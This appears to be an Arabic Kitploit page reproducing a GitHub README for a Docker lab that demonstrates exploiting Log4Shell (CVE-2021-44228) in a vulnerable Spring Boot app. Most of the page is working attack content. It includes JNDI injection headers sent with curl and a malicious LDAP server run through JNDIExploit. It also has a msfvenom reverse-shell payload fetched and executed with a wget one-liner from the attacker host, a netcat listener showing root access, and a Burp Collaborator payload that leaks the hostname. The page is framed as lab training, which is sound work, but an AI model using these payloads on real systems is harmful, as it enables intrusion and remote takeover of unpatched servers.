Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
spring-boot-log4j-cve-2021-44228-docker-lab — Spring Boot Log4j - CVE-2021-44228 مختبر Docker | Kitploit
أدوات/GitHubGitHub/twseptian/spring-boot-log4j-cve-2021-44228-docker-lab
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليممختبرات وتدريب عملي
GitHubtwseptian/spring-boot-log4j-cve-2021-44228-docker-lab

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 مختبر Docker

عرض المستودع
27202منذ 4 سنواتتمت المراجعة من قبل Kitploit
مشاركة

Spring Boot Log4j - CVE-2021-44228

ثغرة Log4Shell (CVE-2021-44228) هي في النهاية خلل بسيط جداً في حقن JNDI، لكنه في مكان سيئ حقاً حقاً. سيقوم Log4J بإجراء استعلام JNDI lookup() أثناء توسيع العناصر النائبة في رسائل التسجيل (أو بشكل غير مباشر كمعاملات للرسائل المنسقة) ...اقرأ المزيد إعلان: Log4Shell والحالة الحالية لحقن JNDI.

إعداد مختبر Docker

ملاحظة: ملف dockerfile هذا مأخوذ أصلاً من تطبيق Log4Shell النموذجي القابل للاستغلال (CVE-2021-44228). يستخدم Log4j 2.14.1 (عبر spring-boot-starter-log4j2 2.6.1) وJDK 1.8.0_181.

مختبر حاويات للتجربة/التعلم مع CVE-2021-44228. لنستنسخ مستودعنا.

root@kitploit:~
$ git clone https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.git
$ cd Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab/
$ docker build spring-boot-log4j -t spring-boot-log4j-vulnerable
$ docker run -p 8080:8080 --name spring-boot-log4j-vulnerable spring-boot-log4j-vulnerable

spring-boot-v2.6.1

استخدام JNDI-Injection-Exploit للاستغلال.

الهدف: 172.17.0.2
المهاجم: 172.17.0.1

  • قم بتنزيل JNDIExploit من https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 تحديث (13 ديسمبر): تمت إزالة مستودع JNDIExploit من GitHub
root@kitploit:~
$ cd tools/
$ unzip JNDIExploit.v1.2.zip
$ cd JNDIExploit.v1.2/
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help
  • قم بترميز سطر الأوامر الخاص بنا باستخدام base64. في هذه الحالة، سيتم إرسال أوامر ping من الجهاز الهدف إلى جهاز المهاجم
root@kitploit:~
$ echo 'ping -c 5 172.17.0.1' | base64 -w 0
cGluZyAtYyA1IDE3Mi4xNy4wLjEK
  • استخدم JNDIExploit لتشغيل خادم LDAP خبيث
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • ثم شغّل الأمر أدناه لتفعيل أمر ping الخاص بنا من الجهاز الهدف
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK}'
  • لنرَ المخرجات من JNDIExploit
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK
[+] Paylaod: command
[+] Command: ping -c 5 172.17.0.1

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK redirecting to http://172.17.0.1:8888/ExploitX07BVXemV5.class
[+] New HTTP Request From /172.17.0.2:58630  /ExploitX07BVXemV5.class
[+] Receive ClassRequest: ExploitX07BVXemV5.class
[+] Response Code: 200
  • الآن، يمكننا التقاط أوامر ping من الجهاز الهدف باستخدام tcpdump
root@kitploit:~
$ sudo tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
22:32:07.210584 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 0, length 64
22:32:07.210594 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 0, length 64
22:32:08.210938 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 1, length 64
22:32:08.210965 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 1, length 64
22:32:09.211367 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 2, length 64
22:32:09.211391 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 2, length 64
22:32:10.211569 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 3, length 64
22:32:10.211592 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 3, length 64
22:32:11.211814 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 4, length 64
22:32:11.211848 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 4, length 64

تنفيذ الأكواد عن بُعد - بأسلوب CTF "كيفية الحصول على قشرة عكسية"

  • أنشئ ملف قشرة عكسية باستخدام msfvenom
root@kitploit:~
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf -o /tmp/rev.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: /tmp/rev.elf
  • جهّز خادماً محلياً باستخدام بايثون على جهاز المهاجم
root@kitploit:~
$ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
  • قم بترميز سطر الأوامر التالي باستخدام base64
root@kitploit:~
wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
  • انسخ مخرجات base64
root@kitploit:~
$ echo 'wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
  • استخدم JNDIExploit لتشغيل خادم LDAP خبيث
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
...
  • ثم شغّل الأمر أدناه لتفعيل أمرنا
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK}'
Hello, world!
  • شغّل قشرة عكسية عبر netcat على جهاز المهاجم nc -lvnp 4444، ثم سيقوم netcat بتفعيل قشرة عكسية
root@kitploit:~
$ nc -lvnp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:42176.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
whoami
root
  • المخرجات من JNDIExploit
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
[+] Paylaod: command
[+] Command: wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK redirecting to http://172.17.0.1:8888/ExploitgV2vh72T6X.class
[+] New HTTP Request From /172.17.0.2:58650  /ExploitgV2vh72T6X.class
[+] Receive ClassRequest: ExploitgV2vh72T6X.class
[+] Response Code: 200

الحصول على اسم المضيف باستخدام Burp Suite Collaborator

  • الحمولة
root@kitploit:~
${jndi:ldap://${hostName}.our-link.burpcollaborator.net/}

dns-query.png

المراجع:

  • Log4Shell: ثغرة RCE يوم الصفر المكتشفة في log4j 2، حزمة تسجيل شهيرة في Java
  • إعلان: Log4Shell والحالة الحالية لحقن JNDI
  • تطبيق Log4Shell النموذجي القابل للاستغلال (CVE-2021-44228)
  • JNDIExploit تحديث (13 ديسمبر): تمت إزالة مستودع JNDIExploit من GitHub
تنزيل الأداة